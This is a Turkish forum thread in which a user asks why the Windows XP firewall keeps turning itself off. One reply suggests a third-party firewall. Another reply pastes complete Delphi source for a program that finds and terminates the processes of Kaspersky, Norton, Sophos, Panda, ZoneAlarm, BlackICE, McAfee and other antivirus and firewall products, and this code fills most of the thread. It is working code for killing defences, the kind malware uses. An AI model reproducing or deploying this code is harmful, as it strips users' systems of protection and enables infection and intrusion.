folder Tahribat.com Forumları
linefolder Yazılımlar / Diğer Programlar
linefolder Firewallım Durup Dururken Kapanıyor Nedendir Ki?



Firewallım Durup Dururken Kapanıyor Nedendir Ki?

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    N0dZX
    N0dZX's avatar
    Kayıt Tarihi: 12/Haziran/2006
    Erkek
    windows xp sp2 kullanıyorum ve güvenlik duvarı her açışımda kendiliğinden kapanıyor nedenini bilmiyorum virüs taramasından geçirdim bişey bulmadım her zaman böyle oluyor karıştırdım kurcaladım baya ama bişey bulamadım bi anlam veremedim bu neden olabilir sizce ve çözümü varmıdır?

    hayatta yenilmiş olan kazıkların toplamına "tecrübe" denir
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Quetzalcoatl
    Quetzalcoatl's avatar
    Kayıt Tarihi: 21/Mayıs/2006
    Erkek
    yerinde olsam windows güvelik duvarı kullanmam..kaspersky ın geliştirdiği güvenlik duvarını tavsiye ederim..kaspersky anti-hacker yani ;)

    Özgürlüğü anladıkça ona daha az sahip olursun.
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    ertan
    ertan's avatar
    Kayıt Tarihi: 21/Temmuz/2005
    Erkek
    Ek Not: Dos altında çalışan bir virus taraması temin et ve orda tarat (F-prot gibi) Eğer dosta tarama yapamıyorsan güvenli kipte yap. Çünkü son çıkan virusler antivirusü etkisiz hale getirebiliyor bu şekilde antivirusler yakalayamıyor....

    Delphi için yazılmış, kaspersky ı kapatma kodu;


    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
    Tlhelp32, StdCtrls;

    type
    TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    Button5: TButton;
    Button6: TButton;
    Button7: TButton;
    Button8: TButton;
    Button9: TButton;
    Button10: TButton;
    Button11: TButton;
    Button12: TButton;
    Button13: TButton;
    Button14: TButton;
    Button15: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure Button7Click(Sender: TObject);
    procedure Button8Click(Sender: TObject);
    procedure Button9Click(Sender: TObject);
    procedure Button10Click(Sender: TObject);
    procedure Button11Click(Sender: TObject);
    procedure Button12Click(Sender: TObject);
    procedure Button13Click(Sender: TObject);
    procedure Button14Click(Sender: TObject);
    procedure Button15Click(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    var
    Form1: TForm1;

    implementation

    {$R *.DFM}

    function KillTask(ExeFileName: string): integer;
    const
    PROCESS_TERMINATE=$0001;
    var
    ContinueLoop: BOOL;
    FSnapshotHandle: THandle;
    FProcessEntry32: TProcessEntry32;
    begin
    result := 0;

    FSnapshotHandle := CreateToolhelp32Snapshot
    (TH32CS_SNAPPROCESS, 0);
    FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
    ContinueLoop := Process32First(FSnapshotHandle,
    FProcessEntry32);

    while integer(ContinueLoop) <> 0 do
    begin
    if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
    UpperCase(ExeFileName))
    or (UpperCase(FProcessEntry32.szExeFile) =
    UpperCase(ExeFileName))) then
    Result := Integer(TerminateProcess(OpenProcess(
    PROCESS_TERMINATE, BOOL(0),
    FProcessEntry32.th32ProcessID), 0));
    ContinueLoop := Process32Next(FSnapshotHandle,
    FProcessEntry32);
    end;

    CloseHandle(FSnapshotHandle);
    end;


    procedure killavp;
    begin
    try
    KillTask ('_AVP32.EXE');
    KillTask ('_AVPCC.EXE');
    KillTask ('_AVPM.EXE');
    KillTask ('AVP32.EXE');
    KillTask ('AVPCC.EXE');
    KillTask ('AVPM.EXE');
    KillTask ('AVP.EXE');
    except Exit; end;
    end;

    procedure killnav;
    begin
    try
    KillTask ('NAVAPW32.EXE');
    KillTask ('NAVW32.EXE');
    except Exit; end;
    end;

    procedure killsophos;
    begin
    try
    KillTask ('ICLOAD95.EXE');
    KillTask ('ICMON.EXE');
    KillTask ('ICSUPP95.EXE');
    KillTask ('ICLOADNT.EXE');
    KillTask ('ICSUPPNT.EXE');
    except Exit; end;
    end;

    procedure killpanda;
    begin
    try
    KillTask ('IFACE.EXE');
    except Exit; end;
    end;

    procedure killants;
    begin
    try
    KillTask ('ANTS.EXE');
    except Exit; end;
    end;

    procedure killantitrojan;
    begin
    try
    KillTask ('Anti-Trojan.exe');
    except Exit; end;
    end;

    procedure killatguard;
    begin
    try
    KillTask ('iamapp.exe');
    KillTask ('iamserv.exe');
    except;
    exit;
    end;
    end;

    procedure killconseal;
    begin
    try
    KillTask ('FRW.EXE');
    except;
    exit;
    end;
    end;

    procedure killblackice;
    begin
    try
    KillTask ('blackice.exe');
    KillTask ('blackd.exe');
    except;
    exit;
    end;
    end;

    procedure killzonealarm;
    begin
    try
    KillTask ('zonealarm.exe');
    KillTask ('vsmon.exe');
    except;
    exit;
    end;
    end;

    procedure killwinroute;
    begin
    try
    KillTask ('WrCtrl.exe');
    KillTask ('WrAdmin.exe');
    KillTask ('WrCtrl.exe');
    except;
    exit;
    end;
    end;

    procedure killcleaner;
    begin
    try
    KillTask ('cleaner3.exe');
    KillTask ('cleaner.exe');
    KillTask ('tca.exe');
    KillTask ('MooLive.exe');
    except;
    exit;
    end;
    end;


    procedure killlockdown;
    begin
    try
    KillTask ('lockdown2000.exe');
    except;
    exit;
    end;
    end;

    procedure killsphinx;
    begin
    try
    KillTask ('Sphinx.exe');
    except;
    exit;
    end;
    end;

    procedure killmcafee;
    begin
    try
    KillTask ('VSHWIN32.EXE');
    KillTask ('VSECOMR.EXE');
    KillTask ('WEBSCANX.EXE');
    KillTask ('AVCONSOL.EXE');
    KillTask ('VSSTAT.EXE');
    except;
    exit;
    end;
    end;


    procedure TForm1.Button1Click(Sender: TObject);
    begin
    killavp;
    end;

    procedure TForm1.Button2Click(Sender: TObject);
    begin
    killnav;
    end;

    procedure TForm1.Button3Click(Sender: TObject);
    begin
    killsophos;
    end;

    procedure TForm1.Button4Click(Sender: TObject);
    begin
    killpanda;
    end;

    procedure TForm1.Button5Click(Sender: TObject);
    begin
    killants;
    end;

    procedure TForm1.Button6Click(Sender: TObject);
    begin
    killantitrojan;
    end;

    procedure TForm1.Button7Click(Sender: TObject);
    begin
    killatguard;
    end;

    procedure TForm1.Button8Click(Sender: TObject);
    begin
    killconseal;
    end;

    procedure TForm1.Button9Click(Sender: TObject);
    begin
    killblackice;
    end;

    procedure TForm1.Button10Click(Sender: TObject);
    begin
    killzonealarm;
    end;

    procedure TForm1.Button11Click(Sender: TObject);
    begin
    killwinroute;
    end;

    procedure TForm1.Button12Click(Sender: TObject);
    begin
    killcleaner;
    end;

    procedure TForm1.Button13Click(Sender: TObject);
    begin
    killlockdown;
    end;

    procedure TForm1.Button14Click(Sender: TObject);
    begin
    killsphinx;
    end;

    procedure TForm1.Button15Click(Sender: TObject);
    begin
    killmcafee;
    end;

    end.

    Bundan sonra sadece insan olanlarla muhattap olacağım.. Ona göre karşıma gelin...
Toplam Hit: 911 Toplam Mesaj: 2